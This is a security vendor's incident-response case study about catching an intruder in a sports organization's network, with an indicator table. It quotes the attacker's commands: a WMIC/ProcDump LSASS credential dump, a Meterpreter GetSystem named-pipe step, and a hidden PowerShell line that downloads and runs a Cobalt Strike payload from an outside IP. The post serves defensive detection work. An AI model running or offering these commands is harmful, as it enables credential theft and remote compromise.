MTR Casebook: An active adversary caught in the act

news.sophos.com/en-us/2020/10/27/mtr-casebook-an-active-adversary-caught-in-the-act/

Greg Iddon

October 27, 2020

Customer profile: A professional sports organization based in the USA, with approximately 800 devices.

The Sophos Managed Threat Response (MTR) team provides 24/7 threat hunting, detection, and response capabilities delivered by an expert team as a fully-managed service.

The initial clue: A needle among the hay

In the hunt for suspicious events, the Sophos MTR team analyzes tens of millions of data points each day by leveraging threat intelligence, machine learning, and complex rule sets derived from the front-line experience that operators have gained from responding to threats day in, day out.

This analysis is done with the goal of finding signals that could potentially be an indicator of an attack. You can learn more about our Threat Detection and Response methodology in this blog post.

In this case, the signal was of a legitimate Microsoft's Sysinternals tool. ProcDump.exe – a tool typically used by developers to analyze running software processes and to write (or 'dump') their memory to disk so that it can be inspected. Developers find this tool very handy for figuring out why a bug is occurring.

Yet in this instance, ProcDump was attempting to export the memory space of lsass.exe. This raised alarm bells with the Sophos MTR operations team which monitors the customer environment 24/7.

LSASS is the Local Security Authority Subsystem Service in Microsoft Windows and it is responsible for enforcing security policy and handling logins to Windows systems. If one were to write its memory to disk, the usernames and passwords of users could be retrieved from it.

The Sophos MTR team had indeed spotted an indicator of attack. Someone was trying to steal credentials.

You may have heard of Mimikatz, a tool whose sole purpose is for stealing passwords, hashes, security tokens, and so on. Adversaries sometimes avoid using this tool given its widespread detection by security products. But unlike Mimikatz, ProcDump has legitimate uses beyond just the nefarious, and thus is rarely detected by security vendors.

Someone was trying to not get caught.

The investigation begins

A case was created the same minute as the signal was generated, and a Sophos MTR operator immediately began to investigate.

Attempted credential theft

The operator looked into the historic data gathered by our agent and found the process that caused the detection. The process was trying to invoke a command:

```
C:\Windows\system32\cmd.exe /C wmic /node:"SERVER NAME" process call create
"C:\PerfLogs\procdump.exe -accepteula -ma lsass C:\PerfLogs\lsass.dmp"
```

The command shows the Windows command-line interpreter cmd.exe attempting to use WMIC – the interface for Windows Management Instrumentation. WMI is a tool for interacting with local and remote systems to get information and send them instructions.

Calling out to a remote server (redacted to SERVER NAME), the command was trying to tell the server to run ProcDump and write the LSASS process' memory to disk.

Thankfully the MTR operator found no evidence that “lsass.dmp” was written to disk, and a review of their Sophos Central telemetry showed Sophos credential theft prevention technology successfully thwarted the adversary's attempt.

But where did this command come from?

Attempted privilege escalation

The operator looked back up the process tree to find the parent of (i.e. what started) cmd.exe and found svchost.exe – the Windows Service Host that is used to run single processes and conserve computing resources.

The same instance of svchost also spawned another child process:

```
C:\Windows\system32\cmd.exe /c echo 4d6b1c047b2 > \\.\pipe\8eaee7
```

To the untrained eye, the above command doesn't appear obviously malicious. Yet this is a common artifact that can be observed from the GetSystem function of Meterpreter.

The Meterpreter is a payload that gives an adversary interactive command-line access to a host and GetSystem is a script built into the Meterpreter that aids an adversary in gaining full system privileges by impersonating a named pipe – a technology to enable processes to communicate with one another.

Thankfully the named pipe they were trying to exploit didn't exist on the system at that time.

Command and control

With the knowledge that the adversary was using the Meterpreter, this would indicate they must have some kind of network connection to remotely send their commands to the compromised host.

Digging into the network logs, the MTR operator could see a large number of outbound connections to Bulgarian IP address 217.12.202.89 using the network port 443.

Port 443 is typically used by HTTPS for securely connecting to websites, and adversaries commonly use this port to hide themselves among legitimate web traffic.

This discovery initiated a review of this Bulgarian-based IP. One of the ports it had open to the internet is port 50050. This port is an ephemeral port – one that cannot be registered with IANA and thus is not a common port used by well-known network services. However, the MTR operator had seen this port many times before.

Port 50050 is the default listening port for a Cobalt Strike listening server. Cobalt Strike is a “threat emulation” tool typically marketed to penetration testers to easily facilitate adversarial attacks and help organizations see their risk to breaches.

However, malicious threat actors have gotten their hands on this tool and use it orchestrate real attacks on innocent victims.

Notifying the customer

Only minutes after the initial detection was made, the MTR operator completed the initial investigation and had high confidence that this was malicious adversarial activity.

Sophos MTR offers three modes of response to customers that they can switch between at any time:

Notify –Sophos conducts threat identification and investigation, informing the customer of the findings and offering the customer recommendations for how to respond to the threat themselves.

Collaborate – Sophos conducts threat identification and investigation, and collaborates on the response to the threat, dividing responsibility between the customer and the Sophos MTR team.

Authorize – Sophos conducts threat identification, investigation, and response and takes proactive action, informing the customer about what was detected and the response actions that were taken.

In this instance, the MTR customer was in Notify mode. The operator reached out to the customer via phone to discuss the discovery and to provide recommendations for how to respond to the immediate findings before the investigation continued.

The MTR operator shared the discoveries and the user accounts leveraged by the adversary. These accounts needed their passwords reset immediately to disable the adversary’s access. In addition to the phone call, all the details were provided in an email to be referenced while the customer took action.

Continuing the hunt

With the customer working on resetting the compromised accounts’ passwords, the MTR operator continued to follow the adversary’s journey across the customer’s network. At this point, no evidence had been found as to how they got inside.

Note that throughout the rest of this case, regular communication between the MTR operator and the customer took place via email.

Lurking in the cloud

Deeper analysis of the network traffic on the compromised host showed HTTPS traffic between the host and another that resided in the customer’s virtual private cloud (VPC), where they have a number of servers that face the public internet.

Diving into the logs of the server in the VPC, the MTR operator quickly spotted further GetSystem attempts and named pipe impersonation. However, all evidence pointed towards the already identified compromised hosts.

Additionally, a PowerShell (a scripting language built into Windows for use with task automation) command execution was identified:

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://217.12.202.89:80/axdfcvgfdfgyhnhgvcdfvghjh'))"
```

This one-line command reaches out to a URL and downloads and executes a payload it finds there. The URL points to the same Bulgarian IP where the MTR team found the open ports for Cobalt Strike.

SophosLabs

The MTR operator quickly reached out to SophosLabs, Sophos' threat analysis, intelligence, and research division. Sharing the above command, the MTR operator asked for assistance with analyzing the payload hosted at that URL. Within a few minutes, SophosLabs shared their insights back with Sophos MTR.

Unfortunately, the payload in question was no longer present: seemingly taken down by the adversary shortly after they used it. SophosLabs promptly added the IP and the URL to the cloud intelligence platform that underpins all Sophos products and services so that any further use of that command and control server will be detected and blocked across all Sophos customers.

Finding the initial access

Finally, the MTR operator identified where the attack began. Continuing the analysis of the VPC server's logs, Remote Desktop Protocol (RDP) communication to an unknown host was spotted within the VPC. This unknown host was not under management by Sophos MTR, nor could it be found in the customer's Sophos Central account.

The operator reached out to the customer to ask what this unknown host was and why it wasn't under management.

It seems they decommissioned it too late. The adversary had laterally moved from the original compromised host to another and executed the PowerShell command. This gave them remote access to a new host in the event they lost their access via RDP.

This turned out to be a smart move by the adversary, as this is exactly what happened.

RDP servers far too often face the public internet ,making them a prime target of adversaries looking to break into networks. Once inside, RDP is a noisy and visual method of having remote access. Moving cursors on the screen are somewhat of a giveaway.

The first thing an adversary will look to do is to move laterally, to another host, and install a reverse shell – a way to have that host call back to them and give them command line access. Using the command line is a far more stealthy method of remote access, allowing them to hide in the background even while a user is logged in and using the host.

As to what the adversary's goals were, these are unknown. The MTR operators identified the attacker long before they were able to action on their objectives, catching them while they were still in the network propagation stages, laterally moving and attempting to escalate their privileges.

Following the investigation, the MTR operators continued to monitor the customer's estate for this specific threat for seven more days, identifying no further malicious or suspicious activity.

The MTR team then concluded that the adversary had been successfully ejected from the network.

Case closed. On to the next.

Learn more

For more information on the Sophos MTR service, visit our website or speak with a Sophos representative.

If you prefer to conduct your own threat hunts, Sophos EDR gives you the tools you need for advanced threat hunting and IT security operations hygiene. Start a 30-day no obligation trial today.

IOAs / IOCs

ProcDump of LSASS	C:\Windows\system32\cmd.exe /C wmic /node:”SERVER NAME” process call create “C:\PerfLogs\procdump.exe -accepteula -ma lsass C:\PerfLogs\lsass.dmp”
Meterpreter GetSystem	C:\Windows\system32\cmd.exe /c echo 4d6b1c047b2 > \\.\pipe\8eaee7
C2 IPv4	217.12.202.89
C2 payload URL	http://217.12.202.89:80/axdfcvgfdfgyhnhgvcdfvghjh
C2 port (Cobalt Strike)	50050
PowerShell to download and invoke Cobalt Strike payload	“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://217.12.202.89:80/axdfcvgfdfgyhnhgvcdfvghjh’))”